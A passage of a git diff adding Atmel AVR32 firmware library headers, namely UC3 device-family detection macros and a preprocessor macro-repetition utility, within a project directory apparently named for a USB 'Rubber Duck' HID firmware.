common AVR32 UC3 series. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _ARCH_H_ +#define _ARCH_H_ + +// UC3 A Series +#define UC3A0 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3A0128__) || \ + defined (__AVR32_UC3A0256__) || \ + defined (__AVR32_UC3A0512__) || \ + defined (__AVR32_UC3A0512ES__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3A0128__) || \ + defined (__AT32UC3A0256__) || \ + defined (__AT32UC3A0512__) || \ + defined (__AT32UC3A0512ES__)))) + +#define UC3A1 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3A1128__) || \ + defined (__AVR32_UC3A1256__) || \ + defined (__AVR32_UC3A1512__) || \ + defined (__AVR32_UC3A1512ES__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3A1128__) || \ + defined (__AT32UC3A1256__) || \ + defined (__AT32UC3A1512__) || \ + defined (__AT32UC3A1512ES__)))) + +#define UC3A3 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3A364__) || \ + defined (__AVR32_UC3A364S__) || \ + defined (__AVR32_UC3A3128__) || \ + defined (__AVR32_UC3A3128S__) || \ + defined (__AVR32_UC3A3256__) || \ + defined (__AVR32_UC3A3256S__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3A364__) || \ + defined (__AT32UC3A364S__) || \ + defined (__AT32UC3A3128__) || \ + defined (__AT32UC3A3128S__) || \ + defined (__AT32UC3A3256__) || \ + defined (__AT32UC3A3256S__)))) + +#define UC3A4 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3A464__) || \ + defined (__AVR32_UC3A464S__) || \ + defined (__AVR32_UC3A4128__) || \ + defined (__AVR32_UC3A4128S__) || \ + defined (__AVR32_UC3A4256__) || \ + defined (__AVR32_UC3A4256S__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3A464__) || \ + defined (__AT32UC3A464S__) || \ + defined (__AT32UC3A4128__) || \ + defined (__AT32UC3A4128S__) || \ + defined (__AT32UC3A4256__) || \ + defined (__AT32UC3A4256S__)))) + +#define UC3A (UC3A0 || UC3A1 || UC3A3 || UC3A4) + +// UC3 B Series +#define UC3B0 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3B064__) || \ + defined (__AVR32_UC3B0128__) || \ + defined (__AVR32_UC3B0256__) || \ + defined (__AVR32_UC3B0256ES__) || \ + defined (__AVR32_UC3B0512__) || \ + defined (__AVR32_UC3B0512REVC_))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3B064__) || \ + defined (__AT32UC3B0128__) || \ + defined (__AT32UC3B0256__) || \ + defined (__AT32UC3B0256ES__) || \ + defined (__AT32UC3B0512__) || \ + defined (__AT32UC3B0512REVC__)))) + +#define UC3B1 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3B164__) || \ + defined (__AVR32_UC3B1128__) || \ + defined (__AVR32_UC3B1256__) || \ + defined (__AVR32_UC3B1256ES__) || \ + defined (__AVR32_UC3B1512__) || \ + defined (__AVR32_UC3B1512ES__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3B164__) || \ + defined (__AT32UC3B1128__) || \ + defined (__AT32UC3B1256__) || \ + defined (__AT32UC3B1256ES__) || \ + defined (__AT32UC3B1512__) || \ + defined (__AT32UC3B1512REVC__)))) + +#define UC3B (UC3B0 || UC3B1 ) + +// UC3 C Series +#define UC3C0_REVC (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3C064CREVC__) || \ + defined (__AVR32_UC3C0128CREVC__) || \ + defined (__AVR32_UC3C0256CREVC__) || \ + defined (__AVR32_UC3C0512CREVC__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3C064CREVC__) || \ + defined (__AT32UC3C0128CREVC__) || \ + defined (__AT32UC3C0256CREVC__) || \ + defined (__AT32UC3C0512CREVC__)))) + +#define UC3C0 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3C064C__) || \ + defined (__AVR32_UC3C0128C__) || \ + defined (__AVR32_UC3C0256C__) || \ + defined (__AVR32_UC3C0512C__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3C064C__) || \ + defined (__AT32UC3C0128C__) || \ + defined (__AT32UC3C0256C__) || \ + defined (__AT32UC3C0512C__)))) + +#define UC3C1_REVC (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3C164CREVC__) || \ + defined (__AVR32_UC3C1128CREVC__) || \ + defined (__AVR32_UC3C1256CREVC__) || \ + defined (__AVR32_UC3C1512CREVC__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3C164CREVC__) || \ + defined (__AT32UC3C1128CREVC__) || \ + defined (__AT32UC3C1256CREVC__) || \ + defined (__AT32UC3C1512CREVC__)))) + +#define UC3C1 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3C164C__) || \ + defined (__AVR32_UC3C1128C__) || \ + defined (__AVR32_UC3C1256C__) || \ + defined (__AVR32_UC3C1512C__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3C164C__) || \ + defined (__AT32UC3C1128C__) || \ + defined (__AT32UC3C1256C__) || \ + defined (__AT32UC3C1512C__)))) + +#define UC3C2_REVC (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3C264CREVC__) || \ + defined (__AVR32_UC3C2128CREVC__) || \ + defined (__AVR32_UC3C2256CREVC__) || \ + defined (__AVR32_UC3C2512CREVC__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3C264CREVC__) || \ + defined (__AT32UC3C2128CREVC__) || \ + defined (__AT32UC3C2256CREVC__) || \ + defined (__AT32UC3C2512CREVC__)))) + +#define UC3C2 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3C264C__) || \ + defined (__AVR32_UC3C2128C__) || \ + defined (__AVR32_UC3C2256C__) || \ + defined (__AVR32_UC3C2512C__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3C264C__) || \ + defined (__AT32UC3C2128C__) || \ + defined (__AT32UC3C2256C__) || \ + defined (__AT32UC3C2512C__)))) + +#define UC3C_REVC (UC3C0_REVC || UC3C1_REVC || UC3C2_REVC) +#define UC3C (UC3C0 || UC3C0_REVC || UC3C1 || UC3C1_REVC || UC3C2 || UC3C2_REVC) + +// UC3 L Device series +#define UC3L0 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3L016__) || \ + defined (__AVR32_UC3L032__) || \ + defined (__AVR32_UC3L064__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3L016__) || \ + defined (__AT32UC3L032__) || \ + defined (__AT32UC3L064__)))) + +#define UC3L (UC3L0) + +// UC3 D Device series +#define UC3D3 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC128D3__) || \ + defined (__AVR32_UC64D3__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__ATUC128D3__) || \ + defined (__ATUC64D3__) ))) + +#define UC3D (UC3D3) + +#if (UC3D) +#include "header_files/uc3d_defines_fix.h" +#endif + +#define UC3 (UC3A || UC3B || UC3C || UC3D || UC3L) + +#if ((defined __GNUC__) && (defined __AVR32__)) || (defined __ICCAVR32__ || defined __AAVR32__) +# if (UC3) +# include +# endif +#endif + +#endif // _ARCH_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/preprocessor/mrepeat.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/preprocessor/mrepeat.h new file mode 100755 index 0000000..92b81ae --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/preprocessor/mrepeat.h @@ -0,0 +1,326 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Preprocessor macro repeating utils. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices can be used. + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _MREPEAT_H_ +#define _MREPEAT_H_ + +#include "preprocessor.h" + + +//! Maximal number of repetitions supported by MREPEAT. +#define MREPEAT_LIMIT 256 + +/*! \brief Macro repeat. + * + * This macro represents a horizontal repetition construct. + * + * \param count The number of repetitious calls to macro. Valid values range from 0 to MREPEAT_LIMIT. + * \param macro A binary operation of the form macro(n, data). This macro is expanded by MREPEAT with + * the current repetition number and the auxiliary data argument. + * \param data Auxiliary data passed to macro. + * + * \return macro(0, data) macro(1, data) ... macro(count - 1, data) + */ +#define MREPEAT(count, macro, data) TPASTE2(MREPEAT, count)(macro, data) + +#define MREPEAT0( macro, data) +#define MREPEAT1( macro, data) MREPEAT0( macro, data) macro( 0, data) +#define MREPEAT2( macro, data) MREPEAT1( macro, data) macro( 1, data) +#define MREPEAT3( macro, data) MREPEAT2( macro, data) macro( 2, data) +#define MREPEAT4( macro, data) MREPEAT3( macro, data) macro( 3, data) +#define MREPEAT5( macro, data) MREPEAT4( macro, data) macro( 4, data) +#define MREPEAT6( macro, data) MREPEAT5( macro, data) macro( 5, data) +#define MREPEAT7( macro, data) MREPEAT6( macro, data) macro( 6, data) +#define MREPEAT8( macro, data) MREPEAT7( macro, data) macro( 7, data) +#define MREPEAT9( macro, data) MREPEAT8( macro, data) macro( 8, data) +#define MREPEAT10( macro, data) MREPEAT9( macro, data) macro( 9, data) +#define MREPEAT11( macro, data) MREPEAT10( macro, data) macro( 10, data) +#define MREPEAT12( macro, data) MREPEAT11( macro, data) macro( 11, data) +#define MREPEAT13( macro, data) MREPEAT12( macro, data) macro( 12, data) +#define MREPEAT14( macro, data) MREPEAT13( macro, data) macro( 13, data) +#define MREPEAT15( macro, data) MREPEAT14( macro, data) macro( 14, data) +#define MREPEAT16( macro, data) MREPEAT15( macro, data) macro( 15, data) +#define MREPEAT17( macro, data) MREPEAT16( macro, data) macro( 16, data) +#define MREPEAT18( macro, data) MREPEAT17( macro, data) macro( 17, data) +#define MREPEAT19( macro, data) MREPEAT18( macro, data) macro( 18, data) +#define MREPEAT20( macro, data) MREPEAT19( macro, data) macro( 19, data) +#define MREPEAT21( macro, data) MREPEAT20( macro, data) macro( 20, data) +#define MREPEAT22( macro, data) MREPEAT21( macro, data) macro( 21, data) +#define MREPEAT23( macro, data) MREPEAT22( macro, data) macro( 22, data) +#define MREPEAT24( macro, data) MREPEAT23( macro, data) macro( 23, data) +#define MREPEAT25( macro, data) MREPEAT24( macro, data) macro( 24, data) +#define MREPEAT26( macro, data) MREPEAT25( macro, data) macro( 25, data) +#define MREPEAT27( macro, data) MREPEAT26( macro, data) macro( 26, data) +#define MREPEAT28( macro, data) MREPEAT27( macro, data) macro( 27, data) +#define MREPEAT29( macro, data) MREPEAT28( macro, data) macro( 28, data) +#define MREPEAT30( macro, data) MREPEAT29( macro, data) macro( 29, data) +#define MREPEAT31( macro, data) MREPEAT30( macro, data) macro( 30, data) +#define MREPEAT32( macro, data) MREPEAT31( macro, data) macro( 31, data) +#define MREPEAT33( macro, data) MREPEAT32( macro, data) macro( 32, data) +#define MREPEAT34( macro, data) MREPEAT33( macro, data) macro( 33, data) +#define MREPEAT35( macro, data) MREPEAT34( macro, data) macro( 34, data) +#define MREPEAT36( macro, data) MREPEAT35( macro, data) macro( 35, data) +#define MREPEAT37( macro, data) MREPEAT36( macro, data) macro( 36, data) +#define MREPEAT38( macro, data) MREPEAT37( macro, data) macro( 37, data) +#define MREPEAT39( macro, data) MREPEAT38( macro, data) macro( 38, data) +#define MREPEAT40( macro, data) MREPEAT39( macro, data) macro( 39, data) +#define MREPEAT41( macro, data) MREPEAT40( macro, data) macro( 40, data) +#define MREPEAT42( macro, data) MREPEAT41( macro, data) macro( 41, data) +#define MREPEAT43( macro, data) MREPEAT42( macro, data) macro( 42, data) +#define MREPEAT44( macro, data) MREPEAT43( macro, data) macro( 43, data) +#define MREPEAT45( macro, data) MREPEAT44( macro, data) macro( 44, data) +#define MREPEAT46( macro, data) MREPEAT45( macro, data) macro( 45, data) +#define MREPEAT47( macro, data) MREPEAT46( macro, data) macro( 46, data) +#define MREPEAT48( macro, data) MREPEAT47( macro, data) macro( 47, data) +#define MREPEAT49( macro, data) MREPEAT48( macro, data) macro( 48, data) +#define MREPEAT50( macro, data) MREPEAT49( macro, data) macro( 49, data) +#define MREPEAT51( macro, data) MREPEAT50( macro, data) macro( 50, data) +#define MREPEAT52( macro, data) MREPEAT51( macro, data) macro( 51, data) +#define MREPEAT53( macro, data) MREPEAT52( macro, data) macro( 52, data) +#define MREPEAT54( macro, data) MREPEAT53( macro, data) macro( 53, data) +#define MREPEAT55( macro, data) MREPEAT54( macro, data) macro( 54, data) +#define MREPEAT56( macro, data) MREPEAT55( macro, data) macro( 55, data) +#define MREPEAT57( macro, data) MREPEAT56( macro, data) macro( 56, data) +#define MREPEAT58( macro, data) MREPEAT57( macro, data) macro( 57, data) +#define MREPEAT59( macro, data) MREPEAT58( macro, data) macro( 58, data) +#define MREPEAT60( macro, data) MREPEAT59( macro, data) macro( 59, data) +#define MREPEAT61( macro, data) MREPEAT60( macro, data) macro( 60, data) +#define MREPEAT62( macro, data) MREPEAT61( macro, data) macro( 61, data) +#define MREPEAT63( macro, data) MREPEAT62( macro, data) macro( 62, data) +#define MREPEAT64( macro, data) MREPEAT63( macro, data) macro( 63, data) +#define MREPEAT65( macro, data) MREPEAT64( macro, data) macro( 64, data) +#define MREPEAT66( macro, data) MREPEAT65( macro, data) macro( 65, data) +#define MREPEAT67( macro, data) MREPEAT66( macro, data) macro( 66, data) +#define MREPEAT68( macro, data) MREPEAT67( macro, data) macro( 67, data) +#define MREPEAT69( macro, data) MREPEAT68( macro, data) macro( 68, data) +#define MREPEAT70( macro, data) MREPEAT69( macro, data) macro( 69, data) +#define MREPEAT71( macro, data) MREPEAT70( macro, data) macro( 70, data) +#define MREPEAT72( macro, data) MREPEAT71( macro, data) macro( 71, data) +#define MREPEAT73( macro, data) MREPEAT72( macro, data) macro( 72, data) +#define MREPEAT74( macro, data) MREPEAT73( macro, data) macro( 73, data) +#define MREPEAT75( macro, data) MREPEAT74( macro, data) macro( 74, data) +#define MREPEAT76( macro, data) MREPEAT75( macro, data) macro( 75, data) +#define MREPEAT77( macro, data) MREPEAT76( macro, data) macro( 76, data) +#define MREPEAT78( macro, data) MREPEAT77( macro, data) macro( 77, data) +#define MREPEAT79( macro, data) MREPEAT78( macro, data) macro( 78, data) +#define MREPEAT80( macro, data) MREPEAT79( macro, data) macro( 79, data) +#define MREPEAT81( macro, data) MREPEAT80( macro, data) macro( 80, data) +#define MREPEAT82( macro, data) MREPEAT81( macro, data) macro( 81, data) +#define MREPEAT83( macro, data) MREPEAT82( macro, data) macro( 82, data) +#define MREPEAT84( macro, data) MREPEAT83( macro, data) macro( 83, data) +#define MREPEAT85( macro, data) MREPEAT84( macro, data) macro( 84, data) +#define MREPEAT86( macro, data) MREPEAT85( macro, data) macro( 85, data) +#define MREPEAT87( macro, data) MREPEAT86( macro, data) macro( 86, data) +#define MREPEAT88( macro, data) MREPEAT87( macro, data) macro( 87, data) +#define MREPEAT89( macro, data) MREPEAT88( macro, data) macro( 88, data) +#define MREPEAT90( macro, data) MREPEAT89( macro, data) macro( 89, data) +#define MREPEAT91( macro, data) MREPEAT90( macro, data) macro( 90, data) +#define MREPEAT92( macro, data) MREPEAT91( macro, data) macro( 91, data) +#define MREPEAT93( macro, data) MREPEAT92( macro, data) macro( 92, data) +#define MREPEAT94( macro, data) MREPEAT93( macro, data) macro( 93, data) +#define MREPEAT95( macro, data) MREPEAT94( macro, data) macro( 94, data) +#define MREPEAT96( macro, data) MREPEAT95( macro, data) macro( 95, data) +#define MREPEAT97( macro, data) MREPEAT96( macro, data) macro( 96, data) +#define MREPEAT98( macro, data) MREPEAT97( macro, data) macro( 97, data) +#define MREPEAT99( macro, data) MREPEAT98( macro, data) macro( 98, data) +#define MREPEAT100(macro, data) MREPEAT99( macro, data) macro( 99, data) +#define MREPEAT101(macro, data) MREPEAT100(macro, data) macro(100, data) +#define MREPEAT102(macro, data) MREPEAT101(macro, data) macro(101, data) +#define MREPEAT103(macro, data) MREPEAT102(macro, data) macro(102, data) +#define MREPEAT104(macro, data) MREPEAT103(macro, data) macro(103, data) +#define MREPEAT105(macro, data) MREPEAT104(macro, data) macro(104, data) +#define MREPEAT106(macro, data) MREPEAT105(macro, data) macro(105, data) +#define MREPEAT107(macro, data) MREPEAT106(macro, data) macro(106, data) +#define MREPEAT108(macro, data) MREPEAT107(macro, data) macro(107, data) +#define MREPEAT109(macro, data) MREPEAT108(macro, data) macro(108, data) +#define MREPEAT110(macro, data) MREPEAT109(macro, data) macro(109, data) +#define MREPEAT111(macro, data) MREPEAT110(macro, data) macro(110, data) +#define MREPEAT112(macro, data) MREPEAT111(macro, data) macro(111, data) +#define MREPEAT113(macro, data) MREPEAT112(macro, data) macro(112, data) +#define MREPEAT114(macro, data) MREPEAT113(macro, data) macro(113, data) +#define MREPEAT115(macro, data) MREPEAT114(macro, data) macro(114, data) +#define MREPEAT116(macro, data) MREPEAT115(macro, data) macro(115, data) +#define MREPEAT117(macro, data) MREPEAT116(macro, data) macro(116, data) +#define MREPEAT118(macro, data) MREPEAT117(macro, data) macro(117, data) +#define MREPEAT119(macro, data) MREPEAT118(macro, data) macro(118, data) +#define MREPEAT120(macro, data) MREPEAT119(macro, data) macro(119, data) +#define MREPEAT121(macro, data) MREPEAT120(macro, data) macro(120, data) +#define MREPEAT122(macro, data) MREPEAT121(macro, data) macro(121, data) +#define MREPEAT123(macro, data) MREPEAT122(macro, data) macro(122, data) +#define MREPEAT124(macro, data) MREPEAT123(macro, data) macro(123, data) +#define MREPEAT125(macro, data) MREPEAT124(macro, data) macro(124, data) +#define MREPEAT126(macro, data) MREPEAT125(macro, data) macro(125, data) +#define MREPEAT127(macro, data) MREPEAT126(macro, data) macro(126, data) +#define MREPEAT128(macro, data) MREPEAT127(macro, data) macro(127, data) +#define MREPEAT129(macro, data) MREPEAT128(macro, data) macro(128, data) +#define MREPEAT130(macro, data) MREPEAT129(macro, data) macro(129, data) +#define MREPEAT131(macro, data) MREPEAT130(macro, data) macro(130, data) +#define MREPEAT132(macro, data) MREPEAT131(macro, data) macro(131, data) +#define MREPEAT133(macro, data) MREPEAT132(macro, data) macro(132, data) +#define MREPEAT134(macro, data) MREPEAT133(macro, data) macro(133, data) +#define MREPEAT135(macro, data) MREPEAT134(macro, data) macro(134, data) +#define MREPEAT136(macro, data) MREPEAT135(macro, data) macro(135, data) +#define MREPEAT137(macro, data) MREPEAT136(macro, data) macro(136, data) +#define MREPEAT138(macro, data) MREPEAT137(macro, data) macro(137, data) +#define MREPEAT139(macro, data) MREPEAT138(macro, data) macro(138, data) +#define MREPEAT140(macro, data) MREPEAT139(macro, data) macro(139, data) +#define MREPEAT141(macro, data) MREPEAT140(macro, data) macro(140, data) +#define MREPEAT142(macro, data) MREPEAT141(macro, data) macro(141, data) +#define MREPEAT143(macro, data) MREPEAT142(macro, data) macro(142, data) +#define MREPEAT144(macro, data) MREPEAT143(macro, data) macro(143, data) +#define MREPEAT145(macro, data) MREPEAT144(macro, data) macro(144, data) +#define MREPEAT146(macro, data) MREPEAT145(macro, data) macro(145, data) +#define MREPEAT147(macro, data) MREPEAT146(macro, data) macro(146, data) +#define MREPEAT148(macro, data) MREPEAT147(macro, data) macro(147, data) +#define MREPEAT149(macro, data) MREPEAT148(macro, data) macro(148, data) +#define MREPEAT150(macro, data) MREPEAT149(macro, data) macro(149, data) +#define MREPEAT151(macro, data) MREPEAT150(macro, data) macro(150, data) +#define MREPEAT152(macro, data) MREPEAT151(macro, data) macro(151, data) +#define MREPEAT153(macro, data) MREPEAT152(macro, data) macro(152, data) +#define MREPEAT154(macro, data) MREPEAT153(macro, data) macro(153, data) +#define MREPEAT155(macro, data) MREPEAT154(macro, data) macro(154, data) +#define MREPEAT156(macro, data) MREPEAT155(macro, data) macro(155, data) +#define MREPEAT157(macro, data) MREPEAT156(macro, data) macro(156, data) +#define MREPEAT158(macro, data) MREPEAT157(macro, data) macro(157, data) +#define MREPEAT159(macro, data) MREPEAT158(macro, data) macro(158, data) +#define MREPEAT160(macro, data) MREPEAT159(macro, data) macro(159, data) +#define MREPEAT161(macro, data) MREPEAT160(macro, data) macro(160, data) +#define MREPEAT162(macro, data) MREPEAT161(macro, data) macro(161, data) +#define MREPEAT163(macro, data) MREPEAT162(macro, data) macro(162, data) +#define MREPEAT164(macro, data) MREPEAT163(macro, data) macro(163, data) +#define MREPEAT165(macro, data) MREPEAT164(macro, data) macro(164, data) +#define MREPEAT166(macro, data) MREPEAT165(macro, data) macro(165, data) +#define MREPEAT167(macro, data) MREPEAT166(macro, data) macro(166, data) +#define MREPEAT168(macro, data) MREPEAT167(macro, data) macro(167, data) +#define MREPEAT169(macro, data) MREPEAT168(macro, data) macro(168, data) +#define MREPEAT170(macro, data) MREPEAT169(macro, data) macro(169, data) +#define MREPEAT171(macro, data) MREPEAT170(macro, data) macro(170, data) +#define MREPEAT172(macro, data) MREPEAT171(macro, data) macro(171, data) +#define MREPEAT173(macro, data) MREPEAT172(macro, data) macro(172, data) +#define MREPEAT174(macro, data) MREPEAT173(macro, data) macro(173, data) +#define MREPEAT175(macro, data) MREPEAT174(macro, data) macro(174, data) +#define MREPEAT176(macro, data) MREPEAT175(macro, data) macro(175, data) +#define MREPEAT177(macro, data) MREPEAT176(macro, data) macro(176, data) +#define MREPEAT178(macro, data) MREPEAT177(macro, data) macro(177, data) +#define MREPEAT179(macro, data) MREPEAT178(macro, data) macro(178, data) +#define MREPEAT180(macro, data) MREPEAT179(macro, data) macro(179, data) +#define MREPEAT181(macro, data) MREPEAT180(macro, data) macro(180, data) +#define MREPEAT182(macro, data) MREPEAT181(macro, data) macro(181, data) +#define MREPEAT183(macro, data) MREPEAT182(macro, data) macro(182, data) +#define MREPEAT184(macro, data) MREPEAT183(macro, data) macro(183, data) +#define MREPEAT185(macro, data) MREPEAT184(macro, data) macro(184, data) +#define MREPEAT186(macro, data) MREPEAT185(macro, data) macro(185, data) +#define MREPEAT187(macro, data) MREPEAT186(macro, data) macro(186, data) +#define MREPEAT188(macro, data) MREPEAT187(macro, data) macro(187, data) +#define MREPEAT189(macro, data) MREPEAT188(macro, data) macro(188, data) +#define MREPEAT190(macro, data) MREPEAT189(macro, data) macro(189, data) +#define MREPEAT191(macro, data) MREPEAT190(macro, data) macro(190, data) +#define MREPEAT192(macro, data) MREPEAT191(macro, data) macro(191, data) +#define MREPEAT193(macro, data) MREPEAT192(macro, data) macro(192, data) +#define MREPEAT194(macro, data) MREPEAT193(macro, data) macro(193, data) +#define MREPEAT195(macro, data) MREPEAT194(macro, data) macro(194, data) +#define MREPEAT196(macro, data) MREPEAT195(macro, data) macro(195, data) +#define MREPEAT197(macro, data) MREPEAT196(macro, data) macro(196, data) +#define MREPEAT198(macro, data) MREPEAT197(macro, data) macro(197, data) +#define MREPEAT199(macro, data) MREPEAT198(macro, data) macro(198, data) +#define MREPEAT200(macro, data) MREPEAT199(macro, data) macro(199, data) +#define MREPEAT201(macro, data) MREPEAT200(macro, data) macro(200, data) +#define MREPEAT202(macro, data) MREPEAT201(macro, data) macro(201, data) +#define MREPEAT203(macro, data) MREPEAT202(macro, data) macro(202, data) +#define MREPEAT204(macro, data) MREPEAT203(macro, data) macro(203, data) +#define MREPEAT205(macro, data) MREPEAT204(macro, data) macro(204, data) +#define MREPEAT206(macro, data) MREPEAT205(macro, data) macro(205, data) +#define MREPEAT207(macro, data) MREPEAT206(macro, data) macro(206, data) +#define MREPEAT208(macro, data) MREPEAT207(macro, data) macro(207, data) +#define MREPEAT209(macro, data) MREPEAT208(macro, data) macro(208, data) +#define MREPEAT210(macro, data) MREPEAT209(macro, data) macro(209, data) +#define MREPEAT211(macro, data) MREPEAT210(macro, data) macro(210, data) +#define MREPEAT212(macro, data) MREPEAT211(macro, data) macro(211, data) +#define MREPEAT213(macro, data) MREPEAT212(macro, data) macro(212, data) +#define MREPEAT214(macro, data) MREPEAT213(macro, data) macro(213, data) +#define MREPEAT215(macro, data) MREPEAT214(macro, data) macro(214, data) +#define MREPEAT216(macro, data) MREPEAT215(macro, data) macro(215, data) +#define MREPEAT217(macro, data) MREPEAT216(macro, data) macro(216, data) +#define MREPEAT218(macro, data) MREPEAT217(macro, data) macro(217, data) +#define MREPEAT219(macro, data) MREPEAT218(macro, data) macro(218, data) +#define MREPEAT220(macro, data) MREPEAT219(macro, data) macro(219, data) +#define MREPEAT221(macro, data) MREPEAT220(macro, data) macro(220, data) +#define MREPEAT222(macro, data) MREPEAT221(macro, data) macro(221, data) +#define MREPEAT223(macro, data) MREPEAT222(macro, data) macro(222, data) +#define MREPEAT224(macro, data) MREPEAT223(macro, data) macro(223, data) +#define MREPEAT225(macro, data) MREPEAT224(macro, data) macro(224, data) +#define MREPEAT226(macro, data) MREPEAT225(macro, data) macro(225, data) +#define MREPEAT227(macro, data) MREPEAT226(macro, data) macro(226, data) +#define MREPEAT228(macro, data) MREPEAT227(macro, data) macro(227, data) +#define MREPEAT229(macro, data) MREPEAT228(macro, data) macro(228, data) +#define MREPEAT230(macro, data) MREPEAT229(macro, data) macro(229, data) +#define MREPEAT231(macro, data) MREPEAT230(macro, data) macro(230, data) +#define MREPEAT232(macro, data) MREPEAT231(macro, data) macro(231, data) +#define MREPEAT233(macro, data) MREPEAT232(macro, data) macro(232, data) +#define MREPEAT234(macro, data) MREPEAT233(macro, data) macro(233, data) +#define MREPEAT235(macro, data) MREPEAT234(macro, data) macro(234, data) +#define MREPEAT236(macro, data) MREPEAT235(macro, data) macro(235, data) +#define MREPEAT237(macro, data) MREPEAT236(macro, data) macro(236, data) +#define MREPEAT238(macro, data) MREPEAT237(macro, data) macro(237, data) +#define MREPEAT239(macro, data) MREPEAT238(macro, data) macro(238, data) +#define 